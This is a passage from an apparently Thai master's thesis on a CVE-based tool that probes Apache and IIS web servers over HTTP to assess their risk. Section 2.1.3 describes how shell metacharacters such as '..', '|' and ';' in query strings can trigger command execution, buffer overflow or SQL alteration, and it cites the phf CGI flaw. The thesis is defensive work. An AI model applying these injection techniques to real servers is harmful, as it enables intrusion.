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 Risk assessment is a key component of computer system management in an 

information era. It provides useful information for handling the potential problems. 

Currently, web server plays an important role for providing information service via internet 

system. If the web server security system is not constantly updated to the safety status,    

it may be attacked which could result in business loss. 

The objective of this thesis is to develop an application program for web server 

risk assessment. The research primarily focuses on the CVE of two commonly used web 

servers, Apache and IIS, for vulnerability risk assessment. The levels of impact 

classification by loss types, confidentiality, integrity and availability are proposed in this 

research. Moreover, the probabilities of vulnerability occurrences of experimental units are 

calculated for the basis of risk assessment usage. These samples are randomly selected 

from web servers population in one organization, and web servers population registered 

domain name in Thailand. 

This research also develops a tool using HTTP protocol for inquiring data from 

web server for risk assessment. The data is calculated to assess related faults and then 

used for assessing the risk of a web server. The developed tool can also compare the risk 

value of one target group with another group of web servers predefined in the program. 

Our experimental results have shown that the majority of web servers in Thailand have the 

highest security risk in confidentiality. They could hence, disclose their confidential data to 

non-authorized users. 
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บทที่  1 
 

บทนํา 

ในบทนี้จะกลาวถึงความเปนมาที่ทําใหเกิดแนวคิดในการพัฒนาเครื่องมือเพื่อ

ประเมินความเสี่ยงของเว็บเซิรฟเวอร วัตถุประสงคในการดําเนินงานวิจัย ขอบเขตงานวิจัย 

ประโยชนที่ไดรับจากงานวิจัย ตลอดจนแนวทางในการดําเนินงานวิจัย โดยมีรายละเอียดดังนี้ 

 

1.1 ความเปนมาและความสําคัญของปญหา 

เว็บเซิรฟเวอรเปนองคประกอบหลกัที่สนับสนุนการใหบริการเว็บเพจ จุดบกพรอง

ของเว็บเซิรฟเวอรอาจกอใหเกิดความเสียหายแกระบบคอมพิวเตอรอยางรายแรง ซึ่งระดับความ

รุนแรงที่เกิดขึ้นอาจทําใหระบบไมสามารถใหบริการ (Denial of Service : DoS) จนถึงทําใหผู    

บุกรุกสามารถควบคุมการทํางานของคอมพิวเตอรไดทั้งระบบ ดังรูปที่ 1.1 แสดงตัวอยางการบุกรุก

เว็บเซิรฟเวอรโดยการเรียกดูแฟมขอมูลใดๆ ผานทางเว็บเซิรฟเวอรดวยการรองขอขอมูลเอชทีทีพี 

 
รูปที่ 1.1 ตัวอยางการบุกรุกเว็บเซิรฟเวอรโดยการเรียกดแูฟมขอมูลใดๆ 

การประเมินความเสี่ยง (Risk Assessment) คือการตรวจสอบและวิเคราะห

โอกาสที่อาจเกิดความเสียหายแกทรัพยากร ดังนั้นการประเมินความเสี่ยงจึงเปนขั้นตอนหนึ่งที่มี

ความสําคัญในการวางแผนจัดการและการตัดสินใจเพื่อใหการทํางานมีประสิทธิภาพมากขึ้น [1] 

ปจจุบันองคกรตางๆ จึงไดนําการประเมินความเสี่ยงมาประยุกตใชอยางแพรหลายเชน การ

ประเมินความเสี่ยงการทํางานของระบบเครือขายคอมพิวเตอร [2] การพัฒนาซอฟตแวร [3] การ

จัดการระบบรักษาความปลอดภัยและทางดานการลงทุน เปนตน เพื่อใหการบริหารจัดการภายใน

องคกรมีประสิทธิภาพมากขึ้น 
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เว็บเซิรฟเวอรทํางานอยูบนระบบปฏิบัติการ เพื่อสนับสนุนการทํางานของ

โปรแกรมประยุกต (Application Program) ที่สามารถติดตอกับระบบแอพพลิเคชันอ่ืนๆ ที่ใชงาน

รวมกันและระบบจัดการฐานขอมูล (Database Management System : DBMS) ได นอกจากนั้น

เว็บเซิรฟเวอรยังมีการจัดเก็บแฟมขอมูลเพื่อใหบริการแกผูที่ตองการดวยดังรูปที่ 1.2 แสดงโมเดล

ของเว็บเซิรฟเวอร ดังนั้นหากเว็บเซิรฟเวอรไมไดรับการดูแลปรับปรุงคุณภาพอยางสม่ําเสมออาจ

เปนชองทางที่ใชในการบุกรุกเขาสูระบบปฏิบัติการหรือโปรแกรมอื่นๆ ของระบบได ซึ่งสาเหตุที่ทํา

ใหเวบ็เซิรฟเวอรถูกบุกรุกนั้นไดแก 

1. ผูบุกรุกใชการรองขอขอมูลที่ใชในการติดตอกับเว็บเซิรฟเวอรโดยทั่วไป 

ดังนั้นอุปกรณรักษาความมั่นคงของระบบคอมพิวเตอรเชน ไฟลวอลล 

(Firewall) หรือระบบตรวจจับผูบุกรุก (Intrusion Detection System : 

IDS) ไมสามารถดักจับและทําลายการบุกรุกที่เปนรูปแบบการใชงาน

ปกติไดทั้งหมด 

2. การปรับแตงคาเว็บเซิรฟเวอรไมเหมาะสมเชน การควบคุมการเปดใชงาน

แตละไดเรกทอรี การกําหนดการใชงานซีจีไอ (Common Gateway 

Interface : CGI) การกําหนดขนาดของการรองขอที่สงมายังเว็บ

เซิรฟเวอร เปนตน [4] ซึ่งทําใหสามารถเรียกดูขอมูลของระบบปฏิบัติการ

ผานทางเว็บเซิรฟเวอรได 

 

 

 

 

 

 

 

 

 

รูปที่ 1.2 โมเดลของเว็บเซิรฟเวอร [5] 

WEB 
SERVER 

Application 
Gateways 

Local 
Files 

DBMS Other 
Applications 
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เครื่องมือที่ใชในการตรวจสอบจุดบกพรองของเว็บเซิรฟเวอรในปจจุบันทําหนาที่

คนหาจุดบกพรองของเว็บเซิรฟเวอร แตไมสนับสนุนการนําขอมูลจุดบกพรองมาประเมินความ

เส่ียงเพื่อใชในการตัดสินใจวางแผนการดําเนินงานใหกับผูดูแลระบบ ดังนั้นจากประโยชนของการ

ประเมนิความเสี่ยง ผูวิจัยจึงพัฒนาเครื่องมือที่สนับสนุนการประเมินความเสี่ยงของเว็บเซิรฟเวอร

ดวยวิธีการรองขอขอมูลแบบเอชทีทีพีไปยังเว็บเซิรฟเวอรดังกลาวเพื่อคนหาจุดบกพรอง โดยได

เลือกเว็บเซิรฟเวอรที่ไดรับความนิยมมากที่สุดในปจจุบันไดแกอาปาเช (Apache) และไอไอเอส 

(Internet Information Service : IIS) เว็บเซิรฟเวอร [6] เปนเว็บเซิรฟเวอรเปาหมาย ซึ่งคาความ

เสี่ยงที่คํานวณไดสามารถใชเปนขอมูลในการตัดสินใจเลือกเว็บเซิรฟเวอร ตรวจสอบการทํางาน

ของเว็บเซิรฟเวอร ชวยผูบริหารในการวางแผนจัดการการรักษาความมั่นคงของเว็บเซิรฟเวอร 

ตลอดจนเปรียบเทียบความมั่นคงของเว็บเซิรฟเวอรที่ใหบริการอยูทั่วไปกับเว็บเซิรฟเวอรของ

องคกรได 

 

1.2 วัตถุประสงคของการวิจัย 

เพื่อออกแบบและพัฒนาเครื่องมือที่สามารถประเมินความเสี่ยงของเว็บเซิรฟเวอร

โดยใชซีวีอีและการรองขอขอมูลแบบเอชทีทีพี 

 

1.3 ขอบเขตของการวิจยั 
1. เว็บเซิรฟเวอรที่ใชในการประเมินความเสี่ยงไดแกอาปาเชและไอไอเอส

เว็บเซิรฟเวอร 

2. จุดบกพรองที่ ใชอางอิงในการรองขอขอมูลใชจุดบกพรองซีวี อี รุน 

20030402 ที่เกี่ยวของกับอาปาเชและไอไอเอสเว็บเซิรฟเวอร 

3. รายการรองขอขอมูลที่ใชในการตรวจสอบจุดบกพรองใชรายการรองขอ
ขอมูลที่โปรแกรมตรวจสอบจุดบกพรองทั่วไปสามารถตรวจสอบไดเปน

หลักในการรองขอขอมูล 

4. เครื่องมือที่พัฒนาสามารถทํางานไดบนระบบปฏิบัติการวินโดวส 

(Windows) 

5. เครื่องมือที่พัฒนาสามารถเก็บคาความนาจะเปนของแตละการรองขอ
ขอมูลเปนชวงเวลาได 

6. จัดเก็บและแสดงขอเสนอแนะของการแกไขจุดบกพรองได 
7. สรางรายงานผลการประเมินความเสี่ยงในรูปแบบเอกสารเอชทีเอ็มแอล 
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8. หากผูใชงานไมกําหนดหมายเลขพอรตที่จะทําการรองขอขอมูลไปยังเว็บ
เซิรฟเวอร จะทําการรองขอขอมูลที่พอรตหมายเลข 80 

9. หนวยตัวอยางที่ใชในการเก็บขอมูลพื้นฐานที่สําคัญของเครื่องมือที่
พัฒนา ไดแก เว็บเซิรฟเวอรของหนวยงานแหงหนึ่งที่ใหบริการเว็บ

เซิรฟเวอรจํานวน 6 หนวยตัวอยางและเว็บเซิรฟเวอรที่ทําการติดตั้งเอง

จํานวน 3 หนวยตัวอยาง 

10. หนวยตัวอยางที่ใชในการทดสอบเครื่องมือไดแก เว็บเซิรฟเวอรทั่วไป
จํานวน 2 หนวยตัวอยาง 

 

1.4 ประโยชนที่ไดรับ 
1. เครื่องมือที่พัฒนาสามารถใชในการประเมินความเสี่ยงของอาปาเชและ    

ไอไอเอสเว็บเซิรฟเวอรได 

2. ชวยใหผูดูแลเว็บเซิรฟเวอรทราบจุดบกพรองและทําการแกไขกอนที่จะ
เกิดความเสียหายขึ้น 

3. ชวยในการตรวจสอบการทํางานของผูดูแลเว็บเซิรฟเวอร 
4. ทําใหทราบคาความนาจะเปนในการตรวจพบของแตละจุดบกพรอง  

และสามารถใชในการหาแนวโนมของการเพิ่มข้ึนและลดลงของ

จุดบกพรองตางๆ ตอไปได 

5. ชวยผูบ ริหารในการตัดสินใจเลือกเว็บเซิรฟเวอรที่ควรให ลําดับ
ความสําคัญในการแกไขกอนได 

 

1.5 วิธกีารดําเนินการวิจยั 
1. ศึกษาวิธีการประเมินความเสี่ยงของระบบรักษาความมั่นคง 
2. กําหนดการรองขอขอมูลตามจุดบกพรองพื้นฐานของอาปาเชและ        

ไอไอเอสเว็บเซิรฟเวอร 

3. กําหนดคาถวงน้ําหนักระดับความรุนแรงของผลกระทบที่มีตอระบบ 

4. พฒันาเครื่องมือดวยภาษาจาวา 

5. ทดสอบและปรับปรุงเครื่องมือ 

6. สรุปผลและจัดทํารายงานวิทยานิพนธ 
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1.6 โครงสรางวิทยานิพนธ 

โครงสรางวิทยานิพนธฉบับนี้ เร่ิมจากการนําเสนอแนวคิดที่ทําใหผูวิจัยสนใจใน

การทําการประเมินความเสี่ยงของเว็บเซิรฟเวอรซึ่งนําเสนอในบทที่ 1 จากนั้นในบทที่ 2 ไดกลาวถึง

ทฤษฎีที่ใชประกอบการวิจัยไดแก การวิเคราะหความเสี่ยง โปรโตคอลเอชทีทีพี และยูอารแอล 

งานวิจัยที่เกี่ยวของกับการประเมินความเสี่ยงที่ผูวิจัยไดนํามาใชสนับสนุนการออกแบบวิธีประเมิน

ความเสี่ยง ตลอดจนเครื่องมือที่ใชในการตรวจสอบการทํางานของเว็บเซิรฟเวอรในปจจุบัน ในบท

ที่ 3 ไดอธิบายการออกแบบวิธีการประเมินความเสี่ยงของเว็บเซิรฟเวอรที่ผูวิจัยนําเสนอ จากนั้นใน

บทที่ 4 แสดงการออกแบบและพัฒนาเครื่องมือที่ใชประเมินความเสี่ยงของเว็บเซริฟเวอร ทายที่สุด

ไดทําการทดลอง และสรุปผล ในบทที่ 5 และ 6 ตามลําดับ โดยขั้นตอนการวิจัยแสดงดังรูปที่ 1.3 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

รูปที่ 1.3 แสดงขั้นตอนการทาํวิจัย 

ออกแบบวิธีหาความนาจะเปนของจุดบกพรอง 

ออกแบบวิธีการกําหนดระดับผลกระทบ 

กําหนดรายการรองขอขอมูลตาม 
จุดบกพรองพื้นฐาน 

ระดับผลกระทบ 
ตอระบบ 

พัฒนาเครื่องมือที่ใชประเมินความเสี่ยง 

ออกแบบการทดลองเพื่อเก็บขอมูลพืน้ฐาน 

ผลการทดสอบที่ 
คาดหวังไว 

สรุปผลการทดลอง 

ทําการทดลองประเมินความเสี่ยง 

บทที่ 3 การออกแบบการประเมิน
ความเสี่ยง 
 

บทที่ 4 การออกแบบและพัฒนา
เครื่องมือเพื่อใชประเมินความเสี่ยง 

บทที ่5 ทําการทดลอง 

เริ่มทําวิจัย 

สิ้นสุดการทําวิจัย 

บทที่ 6 สรุปผลการทดลอง 



 

บทที่  2 
 

แนวคิด ทฤษฎีและงานวิจัยที่เกี่ยวของ 

เนื้อหาในบทนี้จะกลาวถึงแนวคิดและทฤษฎีที่ผูวิจัยนํามาประกอบการวิจัยเพื่อ

พัฒนาเครื่องมือในการประเมินความเสี่ยงของเว็บเซิรฟเวอร ตลอดจนเอกสาร งานวิจัยและ

โปรแกรมประยุกตที่เกี่ยวของกับงานวิจัยนี้ โดยมีรายละเอียดดังตอไปนี้ 

 

2.1 แนวคิดและทฤษฎ ี

2.1.1 การวิเคราะหความเสี่ยง [7] 

การวางแผนจัดการระบบรักษาความมั่นคงที่ดีนั้นอาศัยการวิเคราะหความเสี่ยง

หรือการประเมินความเสี่ยงในการวางแผนและตัดสินใจ เนื่องจากการวิเคราะหความเสี่ยงใหขอมลู

ที่สําคัญในการคาดการณความผิดพลาดที่อาจเกิดขึ้นไดอยางมีประสิทธิภาพ ซึ่งการวิเคราะห

ความเสี่ยงตองคํานึงถึงองคประกอบหลัก 3 ประการ ไดแก 

1. ผลกระทบของความเสี่ยง (Risk Impact) โดยการพิจารณาความ

เสี่ยงของจุดบกพรองตางๆ วาเกิดผลกระทบตอองคกรอยางไรบาง 

เชน ทําใหเสียเวลาและคาใชจายในการทํางาน ทําใหสูญเสียการ

ควบคุมการทํางาน เปนตน ซึ่งจุดบกพรองตางๆ มีผลกระทบตอ

ระบบแตกตางกันไปตามประเภทของจุดบกพรอง 

2. ความนาจะเปนของความเสี่ยงในการเกิดปญหา (Problem) มีคา

ตั้งแต 0 ถึง 1 ตามระดับความนาจะเปนในการเกิดจุดบกพรองนั้น 

3. ความสามารถในการควบคมุความเสี่ยงที่เกิดขึ้น (Risk Control) เชน

การปองกันไมใหปญหาของไวรัสคอมพิวเตอรแพรกระจายไปยังสวน

ตางๆ ภายในองคกร เปนตน 

ข้ันตอนในการวิเคราะหความเสี่ยงของระบบรักษาความมั่นคงเพื่อใชในการวาง

แผนการปองกันรักษาความมั่นคงของระบบนั้นใชแนวคิดเดียวกับหลักการจัดการทั่วไป ซึ่ง

ประกอบดวย 6 ข้ันตอนดังนี้ (อธิบายเพิ่มเติมในภาคผนวก ก) 

1. การกําหนดสิ่งที่จะวิเคราะห (Identify Assets) คือการกําหนดสิ่งที่

จะทําการปองกันรักษาความปลอดภัย 



 7 

2. การกําหนดจุดบกพรอง (Determine Vulnerabilities) คือการ

คาดการณจุดบกพรองของทรัพยากรตางๆ  ในระบบ  โดยใช

วัตถุประสงคของระบบรักษาความมั่นคงไดแก การรักษาความลับ

ของขอมูล (Confidentiality) การบูรณภาพขอมูล (Integrity) และ

สภาพพรอมใชงาน  (Availability) เปนพื้นฐานในการกําหนด

จุดบกพรอง 

3. การประเมินโอกาสที่จะเกิดความเสียหายจากจุดบกพรองนั้น 

(Estimate Likelihood of Exploitation)  

4. การคํานวณคาความเสียหาย (Compute Expected Loss) การ

คํานวณหรือประมาณความเสียหายที่เกิดขึ้นนั้น ตองอาศัยการ

ประเมินคุณคาของขอมูลตางๆ ที่อยูในระบบ เชน หากขอมูล

ทางดานการเงินไดรับความเสียหายคิดเปนมูลคาความเสียหายของ

องคกรเทาใด เปนตน ซึ่งตองอาศัยผูมีประสบการณในการประมาณ

เพื่อใหไดคาที่ถูกตอง 

5. การคนหาและเลือกวิธีการควบคุมใหมๆ (Survey and Select New 

Control) เปนการคนหาวิธีการที่ใชในการควบคุมระบบรักษาความ

มั่นคงรูปแบบใหมๆ ทั้งนี้ควรจัดใหมีการเปรียบเทียบวิธีการในการ

ควบคุมกับจุดบกพรองตางๆ เพื่อเลือกวิธีที่ เหมาะสมกับแตละ

จุดบกพรอง 

6. การคํานวณการประหยัดคาใชจายของโครงการ (Project Saving) 

เปนการวิเคราะหความคุมคาของการแกไขจุดบกพรอง โดยนําคา

ความนาจะเปนในการเกิดจุดบกพรองกับคาใชจายในการแกไข

ปรับปรุงจุดบกพรองมาวิเคราะหความคุมคาในการดําเนินงานแกไข 

ผูวิจัยไดใชวัตถุประสงคของระบบรักษาความมั่นคงไดแก การรักษาความลับ  

การบูรณภาพ และสภาพพรอมใชงาน ในการกําหนดระดับผลกระทบของจุดบกพรองที่เกิดกับ      

อาปาเชและไอไอเอสเว็บเซิรฟเวอร 

2.1.2 โปรโตคอลเอชทีทีพี (Hypertext Transfers Protocol : HTTP) [8] 

โปรโตคอลเอชทีทีพีเปนโปรโตคอลที่เว็บบราวเซอร และเว็บเซิรฟเวอรใชในการ

ส่ือสารแลกเปลี่ยนขอมูลกัน ปจจุบันมี 3 เวอรชันไดแก เวอรชัน 0.9 เวอรชัน 1.0 และเวอรชัน 1.1 



 8 

ซึ่งทุกเวอรชันใชโครงสรางพื้นฐานของการรองขอขอมูล และการตอบสนองขอมูลในการ

ติดตอส่ือสารเหมือนกัน แตทั้งนี้การทํางานของโปรโตคอลเอชทีทีพีในเวอรชัน 0.9 และ 1.0 นั้นเปน

การทํางานแบบไมมีการจดจําสถานะ (Stateless Protocol) ทําใหการติดตอสามารถทําไดอยาง

อิสระและมีประสิทธิภาพมากกวาในเวอรชัน 1.1 ที่ไดพัฒนาใหสนับสนุนการทํางานของเว็บแคช

และการสรางคอนเน็กชันแบบถาวร (Persistent Connections) ในการติดตอส่ือสาร ทั้งนี้เพื่อให

สามารถใชงานรวมกับการทํางานแบบทันเนลโหมด (Tunnel Mode) ที่มีความปลอดภัยในการสง

ขอมูลมากกวาการทํางานแบบไมมีการจดจําสถานะได (รายละเอียดและตัวอยางคําสั่งแสดงใน

ภาคผนวก ข) 

2.1.3 ยูอารแอล (Universal Resource Locator : URL) [8][9] 

ยูอารแอลเปนกลไกที่เว็บบราวเซอรใชในการสงการรองขอขอมูลไปยังเว็บ

เซิรฟเวอร โดยระบุถึงทรัพยากรที่ตองการบนเว็บเซิรฟเวอรมีโครงสรางหลัก 4 สวน คือ 

Protocol://server/path?parameters  

 

 (1) Protocol คือ โปรโตคอลที่ใชติดตอส่ือสารกันระหวางเว็บบราวเซอร

และเว็บเซิรฟเวอร เชน http แสดงถึงการใชโปรโตคอลเอชทีทีพีในการติดตอส่ือสาร หรือ ftp แสดง

ถึงการใชโปรโตคอลเอฟทพีี (File Transfer Protocol : FTP) ในการติดตอส่ือสาร เปนตน 

 (2) server คือ ชื่อหรือหมายเลขไอพี (Internet Protocol : IP) ของเว็บ

เซิรฟเวอรซึ่งเก็บทรัพยากรที่กําลังรองขออยู ตัวอยางเชน www.chula.ac.th หรือ 161.200.93.1 

เปนตน 

 (3) path คือไดเรกทอรีพาธ (Directory Path) ซึ่งประกอบดวยไดเรกทอรี

และชื่อของทรัพยากรที่ตองการรองขอ เชน /engineer/index.html เปนตน 

 (4) parameters คือ พารามิเตอรที่ถูกสงผานเขาไปยังทรัพยากรเพื่อให

ทําการประมวลผลในกรณีที่ทรัพยากรนั้นๆ รองรับการประมวลผลพารามิเตอรดังกลาว บางครั้ง

เรียกวาคิวรีสตริง (Query String) และในสวนนี้เองที่เปนชองทางที่ใชในการบุกรุกโดยการสงผาน

คาพารามิเตอรที่เปนอักขระพิเศษเพื่อใหการทํางานผิดพลาดหรือเรียกใชงานคําสั่งในระบบได ซึ่ง

อักขระพิเศษที่นิยมนํามาใชไดแก 

     (1)        (2)       (3)         (4) 
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• “.” “..”และ “…” ซึ่งเปนอักขระที่ใชทั่วไปในเชลล (Shell) เพื่อขอดูขอมูล

ในไดเรกทอรี 

• “%20” เปนเลขฐานสิบหกที่แทนคาเวนวรรคหนึ่งตําแหนงซึ่งใชรวมกับ

คําสั่งอื่นๆ 

• “|” ตัวอักขระไปป (Pipe) เปนตัวอักขระที่ใชในเชลลสคริปต (Shell 

Script) ของยูนิกซ ซึ่งถานํามาใชรวมกับสคริปตเพิรล (Perl) จะสามารถ

สงคําสั่งไปทํางานในเชลลของระบบปฏิบัติการยูนิกซได 

• “;” ใชในการแบงกั้นคําสั่งในเชลลสคริปต 

การสงอักขระพิเศษโดยไมมีการตรวจสอบนั้นอาจสงผลในการทํางานผิดพลาดได 

3 ประการ [10] คือ 

1. การทวมลนของบัฟเฟอร (Buffer Overflow) คือการสงขอมูลเขาไปยัง

เว็บเซิรฟเวอรหรือโปรแกรมประยุกตที่ทํางานบนเว็บเซิรฟเวอรจํานวน

มากเกินกวาขนาดของบัฟเฟอรที่กําหนดไว  อาจทําใหโปรแกรม

ประมวลผลผิดพลาดหรือหยุดใหบริการซึ่งเรียกการโจมตีแบบนี้วา        

ดีโอเอส 

2. เรียกใชคําสั่งของระบบปฏิบัติการ เนื่องจากอักขระพิเศษสวนมากเปน
อักขระที่ใชในการทํางานในเชลลของระบบปฏิบตัิการ ดังนั้นหากไมมกีาร

ปรับแตงเว็บเซิรฟเวอรที่ดี ผูบุกรุกอาจใชเปนชองทางในการสงคําสั่งเพื่อ

เรียกใชงานคําสั่งพื้นฐานในระบบปฏิบัติการเชน ls, dir, chmod เปนตน 

สงผลใหสามารถเรียกใชคําสั่งใหระบบปฏิบัติการเปดเผยขอมูลของ

ระบบตามที่ตองการได 

3. เปลี่ยนตรรกะการทํางานของโปรแกรมประยุกต เชนเปลี่ยนคําสั่งเอสคิว-

แอล (Structured Query Language : SQL) ในโปรแกรมประยุกตที่

ติดตอกับฐานขอมูล โดยผูบุกรุกอาจใชอักขระพิเศษในการสงคําสั่ง    

เอสคิวแอลเขาไปแกไขขอมูลในฐานขอมูลหรือเงื่อนไขการทํางานเพื่อให

การทํางานผิดพลาดได 

ผูวิจัยไดใชวิธีการสงผานคาพารามิเตอรรวมกับการทํางานของโปรโตคอล       

เอชทีทีพีในการพัฒนาเครื่องมือเพื่อประเมินความเสี่ยงของเว็บเซิรฟเวอร 
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2.2 เอกสาร งานวจิัยและโปรแกรมประยุกตที่เกีย่วของ 

2.2.1 ซีวีอี (Common Vulnerability and Exposure : CVE) [11] 

ซีวีอีเปนงานวิจัยที่ ริเร่ิมข้ึนเมื่อป ค.ศ.1999 โดยหนวยงานชื่อเอ็มไอทีอารอี 

(MITRE) รวมกับสวนราชการ สถานศึกษาและบริษัทเพื่อสรางกลไกในการระบุ คนหา และแกไข

จุดบกพรองของซอฟตแวร ใหมีความรวดเร็วและมีประสิทธภิาพมากขึ้น เนื่องจากประสบปญหาใน

การกําหนดมาตรฐานเพื่อระบุปญหาดานความมั่นคงของซอฟตแวร สงผลใหเกิดความยุงยากใน

การตรวจสอบ ควบคุม และแกไขปญหาจุดบกพรองที่เกิดขึ้นเมื่อใชฐานขอมูลของจุดบกพรอง

แตกตางกัน รวมถึงการประกาศปรับปรุงซอฟตแวรดวย ตัวอยางเชนตารางที่ 2.1 แสดงถึงความ

แตกตางของการใชชื่อเพื่ออางอิงถึงจุดบกพรองชนิดเดียวกันคือ จุดบกพรองที่เกิดขึ้นกับโปรแกรม

ซีจีไอของสมุดโทรศัพทพีเอชเอฟ (phf phonebook CGI program) ในป ค.ศ. 1998 จากการใชชื่อ

อางอิงที่แตกตางกัน ทําใหเกิดปญหาความเขาใจผิดในการอางอิงและเลือกใชเครื่องมือเพื่อ

ปองกันแกไขจุดบกพรองที่เหมาะสมได 

จากปญหาในการใชชื่ออางอิงที่แตกตางกันจึงเกิดแนวคิดในการพัฒนาซีวีอีเปน

การเชื่อมโยงเชิงตรรกะ (Logical Bridge) เพื่อใชเปนมาตรฐานในการอางอิงจุดบกพรอง โดยจะ

รับขอมูลจุดบกพรองและรายละเอียด จากบริษัทและหนวยงานดานความมั่นคงตางๆ เพื่อ

พิจารณาหาความสัมพันธของจุดบกพรองที่ไดมาจากแตละแหลงขอมูล และเปรียบเทียบกับนิยาม

ของซีวีอีที่กําหนดโดยคณะทํางานที่จัดตั้งขึ้น เพื่อประกาศเปนรายการจุดบกพรองซีวีอีตอไปซึ่ง

กระบวนการในการพิจารณาจะไมขอกลาวในที่นี้ 

 

ตารางที่ 2.1 ชือ่ที่ใชอางอิงถงึจุดบกพรองที่เกิดกับโปรแกรมซีจีไอของสมุดโทรศัพทพีเอชเอฟ 
ชื่อองคกร ชื่อที่ใชอางอิง 

Bindview #107-cgi-phf 

Bugtraq PHF Attacks – fun and games for the whole family 

CERIAS http_eschellcmd 

CERT CS-96.06.cgi_example_code 

Cisco Systems HTTP-cgi-phf 

CyberSafe Network : HTTP ‘phf’ attack 

DARPA 0x00000025 = HTTP PHF attack 

ISS http – cgi-phf 

Symantec #180 HTTP Server CGI example code compromises http server 

Security Focus #629 – phf Remote Command Execution Vulnerability 
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การตั้งชื่อเพื่อใชอางอิงเปนมาตรฐานของจุดบกพรองซีวีอี มีองคประกอบคือ

หมายเลขเพื่อใชอางอิง คําอธิบาย และขอมูลอางอิง โดยจุดบกพรองที่ยังไมผานการพิจาณาจะถูก

เรียกวาซีเอนเอ (CVE Candidate Numbering Authority : CNA) หรือเรียกวาแคนดิเดด โดยมี

รูปแบบการกําหนดคือ CAN-yyyy-xxxx ซึ่งเปนหมายเลขที่ประกอบดวยปที่ออกหมายเลขแคนดิ-

เดดคือ yyyy และหมายเลขที่เปนลําดับที่ของแคนดิเดดที่ออกในปนั้นๆ คือ xxxx สวนจุดบกพรอง

ที่ไดรับการพิจารณาแลวจะอยูในรูปแบบ CVE-yyyy-xxxx เมื่อ yyyy เปนปที่ประกาศจุดบกพรอง

และ xxxx เปนลําดับที่ที่ประกาศจุดบกพรองนั้น ตัวอยางซีวีอีดังตารางที่ 2.2 

 

ตารางที่ 2.2 แสดงตัวอยางขอมูลในรายการซีวีอี 
CVE Name : CVE-1999-0067 

Description : CGI phf program allows remote command execution through shell metacharacters. 

Reference : CERT : CA-96.06.cgi_example_code,XF:http-cgi-phf,BID:629 

 

2.2.2 การใชระบบเครือขายในการประเมินความเสี่ยง [2] 

งานวิจัยนี้ไดกลาวถึงการประเมินความเสี่ยง 2 วิธีไดแก วิธีการใหคะแนนคาถวง

น้ําหนัก (Weighted Scores) และวิธีการหาคาคาดหวัง (Expected Value) ซึ่งวิธีการใหคะแนนคา

ถวงน้ําหนักจะมีขอจํากัดในการกําหนดคาถวงน้ําหนักที่ตองกระทําโดยผูที่มีความชํานาญจึงไม

เหมาะกับการนํามาใชกับการประเมินความเสี่ยงที่ตองใชปจจัยหลายๆ อยางประกอบกนั แตวธินีีม้ี

ขอดีคือการคํานวณสามารถทําความเขาใจไดงาย ซึ่งตางจากวิธีการหาคาคาดหวังที่จะตองใช

ขอมูลทางสถิติที่ไดจากการเก็บขอมูลในอดีตหรือผูชํานาญมาทําการคํานวณหาคาคาดหวังแต

อยางไรก็ตามทั้ง 2 วิธีใหผลสรุปของการประเมินความเสี่ยงในระบบตางๆ ที่ใชเปนขอมูลในการ

วางแผนจัดการ หรือการตัดสินใจในการดําเนินงานไดอยางมีประสิทธิภาพ 

จากงานวิจัยดังกลาวผูวิจัยไดใชวิธีการใหคะแนนคาถวงน้ําหนักในการออกแบบ

วิธีการกําหนดคาถวงน้ําหนักของระดับผลกระทบของจุดบกพรอง โดยทําการแบงกลุมคาถวง-

น้ําหนักตามประเภทของความเสียหายที่เกิดขึ้น และใหคาถวงน้ําหนักตามแตละประเภทของความ

เสียหาย (อธิบายเพิ่มเติมในบทที่ 3)  
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2.2.3 รูปแบบการวิเคราะหความเสี่ยงระบบรักษาความมั่นคงระบบ
คอมพิวเตอร [12] 

งานวิจัยนี้ไดเสนอการวิเคราะหความเสี่ยงระบบรักษาความมั่นคงของระบบ

คอมพิวเตอร และวิธีวิเคราะหความเสี่ยงดังนี้ ความเสี่ยงคือความเปนไดในการที่จะสูญเสียหรือ

ความนาจะเปนในการสูญเสีย โดยวัตถุประสงคในการวิเคราะหความเสี่ยงคือ เพื่อใชขอมูลที่ได

จากการประเมินมาชวยในการตัดสินใจวางแผนการดําเนินงาน ซึ่งองคประกอบของการวิเคราะห

ความเสี่ยงไดแก ความเปนไปไดในการที่จะถูกบุกรุก ความเปนไปไดที่การบุกรุกจะสงผลกระทบ

ตอระบบ และระดับความรุนแรงของผลกระทบที่มีตอระบบ โดยวิธีการในการประเมินความเสี่ยง

ทําได 2 วิธีคือ การคนหาจุดบกพรองและการตรวจสอบการปองกันรักษาความมั่นคงของระบบ   

ซึ่งงานวิจัยชิ้นนี้ไดยกตัวอยางเครื่องมือที่ใชในการวิเคราะหความเสี่ยงของระบบรักษาความมั่นคง

ของเครือขาย (Analysis of Network System Security Risks : ANSSR) โดยใชวิธีการตรวจสอบ

การปองกันรักษาความมั่นคงเนื่องจากการปองกันรักษาความมั่นคงหนึ่งวิธีอาจปองกนัจดุบกพรอง

ไดหลายอยาง แตทั้งนี้วิธีดังกลาวมีขอเสียคือไมสามารถทราบจุดบกพรองของระบบได  

ดังนั้นผูวิจัยจึงนําแนวคิดในการประเมินความเสี่ยงดวยการคนหาจุดบกพรองมา

ใชในการประเมินความเสี่ยงของเว็บเซิรฟเวอรเนื่องจากวิธีดังกลาวเปนวิธีที่ทําใหทราบจุดบกพรอง

ของเว็บเซิรฟเวอร 

2.2.4 โปรแกรมเอ็นซเท็ล (N-Stealth) [13] 

โปรแกรมเอ็นซเท็ลจัดทําขึ้นเพื่อวัตถุประสงคในการคนหาจุดบกพรองของเว็บ

เซิรฟเวอรโดยเฉพาะ โปรแกรมเอ็นซเท็ลไดรับการพัฒนาโดยบริษัทเอ็นสเตลเคอร (N-Stalker) โดย

หลักการทํางานของโปรแกรมนี้จะทําการสงการรองขอขอมูลไปยังเว็บเซิรฟเวอรผานทางพอรต 

ที่ตั้งคาไวสําหรับใหบริการเว็บเซิรฟเวอร โดยใชการรองขอแบบเอชทีทีพีพรอมทั้งมีการตั้งคาผล

การรองขอที่คาดหวังไววาเว็บเซิรฟเวอรจะตอบสนองมาอยางไรและนําคาผลการตอบสนองที่เกิด

ขึ้นมาทํารายงานสรุปจุดบกพรอง ซึ่งขั้นตอนการทํางานของโปรแกรมแสดงดังรูปที่ 2.1 

โปรแกรมเอ็นซเท็ลมีจุดเดนในการทํางานคือ มีรายการรองขอขอมูลเอชทีทีพีเพื่อ

